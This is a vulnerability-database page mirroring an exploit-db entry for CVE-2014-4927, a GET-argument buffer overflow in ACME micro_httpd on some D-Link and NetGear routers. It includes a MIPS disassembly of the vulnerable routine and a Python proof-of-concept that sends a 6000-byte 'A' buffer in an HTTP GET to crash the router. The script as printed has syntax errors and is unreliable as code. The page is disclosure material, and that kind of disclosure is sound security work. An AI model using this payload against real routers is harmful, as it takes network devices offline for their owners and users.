Lucene search
K

ACME micro_httpd - Denial of Service

🗓️ 18 Jul 2014 00:00:00Reported by Yuval tisf NativType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 63 Views

Buffer Overflow in micro_httpd by ACME, Denial of Service vulnerability, Tested on D-Link (DSL2750U, DSL2740U) and NetGear (WGR614, MR-ADSL-DG834

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ACME micro_httpd - Denial of Service
18 Jul 201400:00
zdt
CVE
CVE-2014-4927
24 Jul 201414:00
cve
Cvelist
CVE-2014-4927
24 Jul 201414:00
cvelist
exploitpack
ACME micro_httpd - Denial of Service
18 Jul 201400:00
exploitpack
NVD
CVE-2014-4927
24 Jul 201414:55
nvd
OSV
UBUNTU-CVE-2014-4927
24 Jul 201414:55
osv
Packet Storm
ACME micro_httpd Denial Of Service
19 Jul 201400:00
packetstorm
Prion
Buffer overflow
24 Jul 201414:55
prion
Positive Technologies
PT-2014-6212 · NetGear +2 · Netgear Mr-Adsl-Dg834 +4
24 Jul 201400:00
ptsecurity
UbuntuCve
CVE-2014-4927
24 Jul 201414:55
ubuntucve
Rows per page
"""
# Exploit Title: Buffer Overflow in micro_httpd by ACME
# Date: 4/7/2014
# Exploit Author: Yuval tisf Nativ
# Vendor Homepage: http://www.acme.com/software/micro_httpd/
# Software Link: http://www.acme.com/software/micro_httpd/
# Version: June 2012
# CVE: CVE-2014-4927
# Tested on: D-Link: (DSL2750U, DSL2740U), NetGear: (WGR614, MR-ADSL-DG834)

Buffer Overflow in micro_httpd

Argument for GET method is vulnerable to a buffer overflow.
Analyzed on:
    D-Link: DSL2750U, DSL2740U,
    NetGear: WGR614, MR-ADSL-DG834

ACME Labs offer no version tracking on server versions so version might not
be accurate.

Disassmebly in MIPS of vulnerable flow:
sub_4067CC:

LOAD:004067CC
LOAD:004067CC       lui     $gp, 0x47
LOAD:004067D0       addiu   $sp, -0xA0
LOAD:004067D4       li      $gp, 0x46B850
LOAD:004067D8       sw      $ra, 0xA0+var_4($sp)
LOAD:004067DC       sw      $s3, 0xA0+var_8($sp)
LOAD:004067E0       sw      $s2, 0xA0+var_C($sp)
LOAD:004067E4       sw      $s1, 0xA0+var_10($sp)
LOAD:004067E8       sw      $s0, 0xA0+var_14($sp)
LOAD:004067EC       sw      $gp, 0xA0+var_88($sp)
LOAD:004067F0       lui     $s0, 0x46
LOAD:004067F4       lw      $v1, dword_464108
LOAD:004067F8       lw      $t9, (off_463B24 - 0x46B850)($gp)
LOAD:004067FC       move    $v0, $a0
LOAD:00406800       sw      $a1, 0xA0+var_90($sp)
LOAD:00406804       move    $s2, $a2
LOAD:00406808       lui     $a1, 0x44
LOAD:0040680C       lui     $a2, 0x44
LOAD:00406810       move    $a0, $v1
LOAD:00406814       la      $a1, aSDS        # "%s %d %s\r\n"
LOAD:00406818       la      $a2, aHttp1_1    # "HTTP/1.1"
LOAD:0040681C       move    $s1, $a3
LOAD:00406820       jalr    $t9
LOAD:00406824       move    $a3, $v0
LOAD:00406828       lw      $gp, 0xA0+var_88($sp)
LOAD:0040682C       lw      $a0, dword_464108
LOAD:00406830       lw      $t9, (off_463B24 - 0x46B850)($gp)
LOAD:00406834       lui     $a2, 0x44
LOAD:00406838       lui     $a1, 0x44
LOAD:0040683C       la      $a2, aMicro_httpd  # "micro_httpd"
LOAD:00406840       jalr    $t9
LOAD:00406844       la      $a1, aServerS    # "Server: %s\r\n"
LOAD:00406848       lw      $gp, 0xA0+var_88($sp)
LOAD:0040684C       lw      $a1, 0x4108($s0)
LOAD:00406850       lw      $t9, (off_463BCC - 0x46B850)($gp)
LOAD:00406854       lui     $a0, 0x44
LOAD:00406858       jalr    $t9
LOAD:0040685C       la      $a0, aCacheControlNo  # "Cache-Control:
no-cache\r\n"
LOAD:00406860       lw      $gp, 0xA0+var_88($sp)
LOAD:00406864       move    $a0, $0
LOAD:00406868       lw      $t9, (off_463CDC - 0x46B850)($gp)
LOAD:0040686C       jalr    $t9
LOAD:00406870       addiu   $s3, $sp, 0xA0+var_7C
LOAD:00406874       lw      $gp, 0xA0+var_88($sp)
LOAD:00406878       addiu   $a0, $sp, 0xA0+var_80
LOAD:0040687C       lw      $t9, (off_463DF4 - 0x46B850)($gp)
LOAD:00406880       jalr    $t9
LOAD:00406884       sw      $v0, 0xA0+var_80($sp)
LOAD:00406888       lw      $gp, 0xA0+var_88($sp)
LOAD:0040688C       lui     $a2, 0x44



Working Exploit for a Denial of Service:
"""

#!/bin/python
import socket
import struct

# This will crash the router.
# In some devices it takes about 10 minutes until functionality is
restored.

buffer = "\x41" * 6000            # Original fuzzing buffer.
host = "10.0.0.138"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))

payload = GET /" + buffer + " HTTP/1.1\r\n"
payload += ("Host: %s \r\n\r\n", % host)

s.send(payload)
s.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jul 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 27.8
EPSS0.17507
63